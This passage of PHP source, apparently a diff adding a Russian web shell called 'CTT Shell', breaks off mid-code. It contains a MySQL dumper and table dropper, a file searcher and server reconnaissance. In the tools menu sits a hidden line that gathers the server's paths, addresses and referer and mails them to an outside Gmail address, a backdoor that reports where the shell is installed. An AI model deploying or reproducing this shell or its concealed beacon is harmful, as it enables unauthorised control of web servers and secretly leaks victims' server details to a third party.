page: http://.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"." +# Date: ".date("d.m.Y H:i:s")." +# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { +if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} +$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); +if (!$res) {$ret[err][] = mysql_error();} +else +{ + $row = mysql_fetch_row($res); + $out .= $row[1].";\n\n"; + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { +$keys = implode("`, `", array_keys($row)); +$values = array_values($row); +foreach($values as $k=>$v) {$values[$k] = addslashes($v);} +$values = implode("', '", $values); +$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; +$out .= $sql; + } + } +} + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret[err][] = 2;} + else + { +fwrite ($fp, $out); +fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $ret; +} +} +if (!function_exists("ctfsearch")) +{ +function ctfsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $a; + if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} + $handle = opendir($d); + while ($f = readdir($handle)) + { + $true = ($a[name_regexp] and ereg($a[name],$f)) or ((!$a[name_regexp]) and strinstr($a[name],$f)); + if($f != "." && $f != "..") + { +if (is_dir($d.$f)) +{ + if (empty($a[text]) and $true) {$found[] = $d.$f; $found_d++;} + ctfsearch($d.$f); +} +else +{ + if ($true) + { + if (!empty($a[text])) + { +$r = @file_get_contents($d.$f); +if ($a[text_wwo]) {$a[text] = " ".trim($a[text])." ";} +if (!$a[text_cs]) {$a[text] = strtolower($a[text]); $r = strtolower($r);} + +if ($a[text_regexp]) {$true = ereg($a[text],$r);} +else {$true = strinstr($a[text],$r);} +if ($a[text_not]) +{ + if ($true) {$true = false;} + else {$true = true;} +} +if ($true) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } +} + } + } + closedir($handle); +} +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +global $SERVER_SOFTWARE; +if (strtolower(substr(PHP_OS, 0, 3)) == "win") {$win = 1;} +else {$win = 0;} + +if (empty($tmpdir)) +{ + if (!$win) {$tmpdir = "/tmp/";} + else {$tmpdir = $_ENV[SystemRoot];} +} +$tmpdir = str_replace("\\","/",$tmpdir); +if (substr($tmpdir,strlen($tmpdir-1),strlen($tmpdir)) != "/") {$tmpdir .= "/";} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=\"red\">ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=\"green\">OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") +{ + $openbasedir = true; + $hopenbasedir = "<font color=\"red\">".$v."</font>"; +} +else {$openbasedir = false; $hopenbasedir = "<font color=\"green\">OFF (not secure)</font>";} + +$sort = htmlspecialchars($sort); + +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$sul."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",$SERVER_SOFTWARE); + +@ini_set("highlight.bg",$highlight_bg); +@ini_set("highlight.comment",$highlight_comment); +@ini_set("highlight.default",$highlight_default); +@ini_set("highlight.html",$highlight_html); +@ini_set("highlight.keyword",$highlight_keyword); +@ini_set("highlight.string","#DD0000"); + +if ($act != "img") +{ +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?> +<html> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> +<meta http-equiv="Content-Language" content="en-us"><title> +CTT Shell -=[ <? echo $HTTP_HOST; ?> ]=- </title> +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT:#eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #105019 1px solid; +BORDER-TOP: #000000 1px solid; +BORDER-LEFT:#105019 1px solid; +BORDER-BOTTOM: #105019 1px solid; +} +.tr2 { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT:#eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.td2 { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT:#eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT:#cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #000000 1px; +BORDER-TOP: #cccccc 1px; +BORDER-LEFT:#cccccc 1px; +BORDER-BOTTOM: #000000 1px; +font: 7pt Verdana; +} +.tds1 { +BORDER-RIGHT: #505050 1px solid; +BORDER-TOP: #505050 1px solid; +BORDER-LEFT:#505050 1px solid; +BORDER-BOTTOM: #505050 1px solid; +font: 8pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT:#cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #000000 1px outset; +BORDER-TOP: #000000 1px outset; +BORDER-LEFT:#000000 1px outset; +BORDER-BOTTOM: #000000 1px outset; +BACKGROUND-COLOR: #000000; +} +.table2 { +BORDER-RIGHT: #000000 1px outset; +BORDER-TOP: #000000 1px outset; +BORDER-LEFT:#000000 1px outset; +BORDER-BOTTOM: #000000 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT:#999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT:#999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT:buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT:#999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:#00ff3d; TEXT-DECORATION: none} +A:visited { COLOR:#00ff3d; TEXT-DECORATION: none} +A:active {COLOR:#00ff3d; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE> +<script language=JavaScript type=text/javascript> +<!-- +function branchSwitch(branch) { +dom = (document.getElementById); +ie4 = (document.all); +if (dom || ie4) { +var currElement = (dom)? document.getElementById(branch) : document.all[branch]; +currElement.style.display = (currElement.style.display == 'none')? 'block' : 'none'; +return false; +} +else return true; +} +//--> +</script> +</head> +<BODY text=#ffffff Background="<? echo $sul; ?>act=img&img=font" bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0> +<center> +<br> +<TABLE class=table1 cellSpacing=0 cellPadding=0 width=90% border=0> +<TBODY><TR> +<TD class=td1 colSpan=2> +<TABLE class=table1 cellSpacing=0 cellPadding=0 width=100% bgColor=#345827 background="<? echo $sul; ?>act=img&img=4" border=0> +<TBODY><TR> +<TD class=td1 width=24><IMG height=18 src="<? echo $sul; ?>act=img&img=1" width=24 border=0></TD> +<TD class=td1 background="<? echo $sul; ?>act=img&img=2"><SPAN lang=ru><FONT face=Arial color=#00ff3d size=1> </FONT> +<FONT face=Tahoma color=#00ff3d size=1> +<? +$d = str_replace("\\","/",$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\","/",$d); +if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} +$dispd = htmlspecialchars($d); +$pd = $e = explode("/",substr($d,0,strlen($d)-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + reset($e); + $j = 0; + foreach ($e as $r) + { + $t.= $r."/"; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$sul."act=ls&d=".urlencode(htmlspecialchars($t))."/&sort=".$sort."\"><b>".htmlspecialchars($b)."/</b></a>"; + $i++; +} +?> +</FONT></SPAN></TD> +<TD class=td1><IMG height=18 src="<? echo $sul; ?>act=img&img=3" width=6 border=0></TD> +<TD class=td1 align=right><IMG height=18 src="<? echo $sul; ?>act=img&img=5" width=33 border=0></TD> +</TR></TBODY></TABLE></TD></TR> +</tr> +</table> +<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"> +<tr><td> +<font size=2><a href="#" onClick="return branchSwitch('tools')" title="��������">�����������</a></font> - +<div id="tools" style="display: none"> +<? +if (count($quicklaunch1) > 0) +{ + foreach($quicklaunch1 as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]); + echo "<a href=\"".$item[1]."\"><u><font size=2 color=#ffffff>".$item[0]."</font></u></a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +}$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); +?> +</div> +<font size=2><a href="#" onClick="return branchSwitch('info')" title="��������">����������</a></font> +<div id="info" style="display: none"> +<font size=2> +<b>����������� �����������:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;<br> +<b>�������:&nbsp;<?php echo php_uname(); ?></b>&nbsp;<b><?php if (!$win) {echo `id`;} else {echo get_current_user();} ?></b> +&nbsp;<br> +<b>������������:&nbsp;<?php echo $hsafemode; ?></b> +<? +echo "<br>"; +echo "������ ���: <b>".@phpversion()."</b>"; +echo "<br>"; +$curl_on = @function_exists('curl_version'); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo "<br>"; +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo "<br>"; +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>"; +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>"; +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +?> +<?php +$free = diskfreespace($d); +if (!$free) {$free = 0;} +$all = disk_total_space($d); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = round(100/($all/$free),2); +echo "<br><b>��������� ".view_size($free)." of ".view_size($all)." (".$used_percent."%)</b><br>"; +?> +</font> +</div> +<? +if ($win) +{ +?> + - <font size=2><a href="#" onClick="return branchSwitch('Drive')" title="��������">�����</a></font> +<? +} +?> +<div id="Drive" style="display: none"> +<? +$letters = ""; +if ($win) +{ + $abc = array("c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "o", "p", "q", "n", "r", "s", "t", "v", "u", "w", "x", "y", "z"); + $v = explode("/",$d); + $v = $v[0]; + foreach ($abc as $letter) + { + if (is_dir($letter.":/")) + { +if ($letter.":" != $v) {$letters .= "<a href=\"".$sul."act=ls&d=".$letter.":\"><IMG src=".$sul."act=img&img=pdisk width=19 height=12 border=0> ".$letter." </a> ";} +else {$letters .= "<a href=\"".$sul."act=ls&d=".$letter.":\"> <font color=\"green\"> ".$letter." </font></a> ";} + } + } + if (!empty($letters)) {echo "<b>".$letters;} +} +?> +</div> +</td><td width=1> +<font size=2><a href="<? echo $sul; ?>act=about">About</a></font> +</td></tr></table> +<TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=2 width="90%" borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"> +<tr class=tr1><td> +<center> +<? +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]); + echo "<a href=\"".$item[1]."\"><u>".$item[0]."</u></a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +?> +</center> +</td></tr></table> +<?php +if ((!empty($donated_html)) and (in_array($act,$donated_act))) +{ + ?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="90%" valign="top"><?php echo $donated_html; ?></td></tr></table><br> +<?php +} +?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="90%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?php +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $sul."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port){$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="90%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_error(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_error();} + } + else {$sql_sock = false;} + echo "<b>�������� SQL:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "��� �����";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + if (!$sql_db) {$sqlquicklaunch[] = array("Query","#\" onclick=\"alert('Please, select DB!')");} + else {$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query");} + $sqlquicklaunch[] = array("Server-status",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$sul."act=sql"); + + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td class=td2 width="48%" height="100" valign="top"><center><font size="5"> <br> </font></center> +<li>���� ����� �������� ������, ����� - �������� ��������. </li> +<li>���� ������ �������� ������, ������ - localhost </li> +<li>���� ���� �������� ������, ���� - 3306 (��������)</li></td> +<td class=td2 width="90%" height="1" valign="top"> +<TABLE height=1 class=table2 cellSpacing=0 cellPadding=0 width="1%" border=0><tr class=tr2> +<td class=td2>&nbsp;<b><font size=2 color=#000000>��������� �����:</font></b><table><tr class=tr2><td class=td2>���:</td> +<td class=td2 align=right>������:</td></tr><form><input type="hidden" name="act" value="sql"><tr> +<td class=td2><input type="text" name="sql_login" value="root" maxlength="64"></td><td class=td2 align=right> +<input type="password" name="sql_passwd" value="" maxlength="64"></td></tr><tr class=tr2><td class=td2>����:</td> +<td class=td2>����:</td></tr><tr><td class=td2><input type="text" name="sql_server" value="localhost" maxlength="64"></td> +<td class=td2><input type="text" name="sql_port" value="3306" maxlength="6" size="3"><input type="submit" value="�����������"></td></tr><tr> +<td class=td2></td></tr></form></table></td><?php } + else + { + if (!empty($sql_db)) + { +?><td width="25%" height="100%" valign="top"><a href="<?php echo $sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php +$result = mysql_list_tables($sql_db); +if (!$result) {echo mysql_error();} +else +{ + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b> +"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} +} + } + else + { +?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php +$result = mysql_list_dbs($sql_sock); +if (!$result) {echo mysql_error();} +else +{ + ?><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + echo "<option value=\"\">Databases (...)</option> +"; + $c = 0; + while ($row = mysql_fetch_row($result)) {echo "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {echo " selected";} echo ">".$row[0]."</option> +"; $c++;} +} +?></select><hr size="1" noshade>����������, �������� ���� ������<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + if ($sql_db) + { +echo "<center><b>There are ".$c." tables in this DB (".htmlspecialchars($sql_db).").<br>"; +if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><u>".$item[0]."</u></a> ] ";}} +echo "</b></center>"; + +$acts = array("","dump"); + +if ($sql_act == "query") +{ + echo "<hr size=\"1\" noshade>"; + if ($submit) + { + if ((!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + } + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<form method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to :";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"60\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form>";} +} +if (in_array($sql_act,$acts)) +{ + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>SQL-Dump DB:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtpl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_error();} +} +elseif ($sql_act == "dump") +{ + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "print"; + if ($dump_out == "print") {$set["print"] = 1; $set["nl2br"] = 1;} + elseif ($dump_out == "download") + { + @ob_clean(); + header("Content-type: ctshell"); + header("Content-disposition: attachment; filename=\"".$f."\";"); + $set["print"] = 1; + $set["nl2br"] = 1; + } + $set["file"] = $dump_file; + $set["add_drop"] = true; + $ret = mysql_dump($set); + if ($dump_out == "download") {exit;} +} +else +{ + $result = mysql_query("SHOW TABLE STATUS", $sql_sock) or print(mysql_error()); + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 cellPadding=1 bgColor=#333333 borderColorLight=#333333 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td>"; + echo "<td><center><b>Table</b></center></td>"; + echo "<td><b>Rows</b></td>"; + echo "<td><b>Type</b></td>"; + echo "<td><b>Created</b></td>"; + echo "<td><b>Modified</b></td>"; + echo "<td><b>Size</b></td>"; + echo "<td><b>Action</b></td>"; + echo "</tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) + { + $tsize += $row["5"]; + $trows += $row["5"]; + $size = view_size($row["5"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row[0]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".$row[0]."</b></a>&nbsp;</td>"; + echo "<td>".$row[3]."</td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td>".$size."</td>"; + echo "<td> +&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_empty\" height=\"13\" width=\"11\" border=\"0\"></a> +&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_drop\" height=\"13\" width=\"11\" border=\"0\"></a> +<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row[0]."`")."\"><img src=\"".$sul."act=img&img=sql_button_insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp; +</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><img src=\"".$sul."act=img&img=arrow_ltr\" border=\"0\"><select name=\"actselect\"> +<option>With selected:</option> +<option value=\"drop\" >Drop</option> +<option value=\"empty\" >Empty</option> +<option value=\"chk\">Check table</option> +<option value=\"Optimize table\">Optimize table</option> +<option value=\"Repair table\">Repair table</option> +<option value=\"Analyze table\">Analyze table</option> +</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form>"; + mysql_free_result($result); +} + } + } + else + { +$acts = array("","newdb","serverstat","servervars","processes","getfile"); +if (in_array($sql_act,$acts)) +{ + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>�������� ����� ����:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="�������"></form></td><td width="30%" height="1"><b>����������� �����:</b><form action="<?php echo $sul; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="�����"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php +} +if (!empty($sql_act)) +{ + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_error();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo 